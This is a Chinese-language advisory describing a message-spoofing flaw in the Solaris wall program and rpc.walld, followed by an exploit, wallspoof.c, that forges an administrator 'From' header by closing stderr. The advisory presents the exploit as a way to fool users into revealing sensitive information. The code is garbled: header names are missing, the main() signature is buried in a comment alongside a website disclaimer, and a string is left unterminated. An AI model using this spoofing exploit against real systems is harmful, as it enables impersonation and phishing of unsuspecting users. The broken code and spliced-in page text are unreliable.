涉及程序: Sun Solaris Wall 描述: Sun Solaris Wall 信息 來源 可 偽造 缺陷 詳細: 在Solaris中,wall程序用于將一些 信息 廣播到登陸到系統上的每一個用戶。 守護進程RPC(rpc.walld)用來監聽并接收遠程主機的wall請求,當接收到wall請求時將調用 wall
涉及程序:
Sun Solaris Wall
描述:
Sun Solaris Wall 信息來源可偽造缺陷
詳細:
在Solaris中,wall程序用于將一些信息廣播到登陸到系統上的每一個用戶。
守護進程RPC(rpc.walld)用來監聽并接收遠程主機的wall請求,當接收到wall請求時將調用 wall 程序, 由wall將收到的訊息發送給分時系統(time-sharing system)上所有的終端機。wall區別于本地和遠程用戶請求消息是通過檢查stderr文件描述符是否指向對應的tty。如果不是,wall程序將檢查消息前5個字節是否為"From";如果是,下一個非空白字符必須為user@host形式。
惡意用戶可在執行程序/usr/sbin/wall前通過簡單關閉stderr,并發送一個偽造的"From"報頭來偽造rpc.walld信息,使用戶接收到此消息時,誤以為是管理員發過來的信息。
攻擊者可利用此缺陷通過發送偽造信息愚弄目標網絡中普通用戶,使他們信以為真而進行一些可能泄露敏感信息的行為。
受影響系統:
Sun Solaris Wall
- Sun Solaris 2.x 至 9.0
攻擊方法:
/* int main(int argc, char **argv) http://sunsolve.sun.com/pub-cgi/show.pl?target=patches/patch-access
聲明:本網頁內容旨在傳播知識,若有侵權等問題請及時與本網聯系,我們將在第一時間刪除處理。TEL:177 7030 7066 E-MAIL:11247931@qq.com
wallspoof.c - SOLARIS (X86/SPARC) Exploit
Don't use this in a malicious way! (i.e. to own people)
*/
#include
#include
#include
{
char *userhost;
char mesg[2050];
FILE *tmp;
if (argc < 2) {
?fprintf (stderr, "usage: wallspoof user@host\n");
?exit (-1);
}
userhost = argv[1];
if ((tmp = fopen("/tmp/rxax", "w")) == NULL) {
?perror ("open");
?exit (-1);
}
printf ("Enter your message below. End your message with an EOF (Control+D).\n");
fprintf (tmp, "From %s:", userhost);
while (fgets(mesg, 2050, stdin) != NULL)
?fprintf (tmp, "%s", mesg);
fclose (tmp);
fclose (stderr);
printf ("
system ("/usr/sbin/wall < /tmp/rxax");
unlink ("/tmp/rxax");
}
解決方案:
目前廠商還沒有提供補丁或升級程序,建議用戶隨時關注廠商站點:
附加信息:
無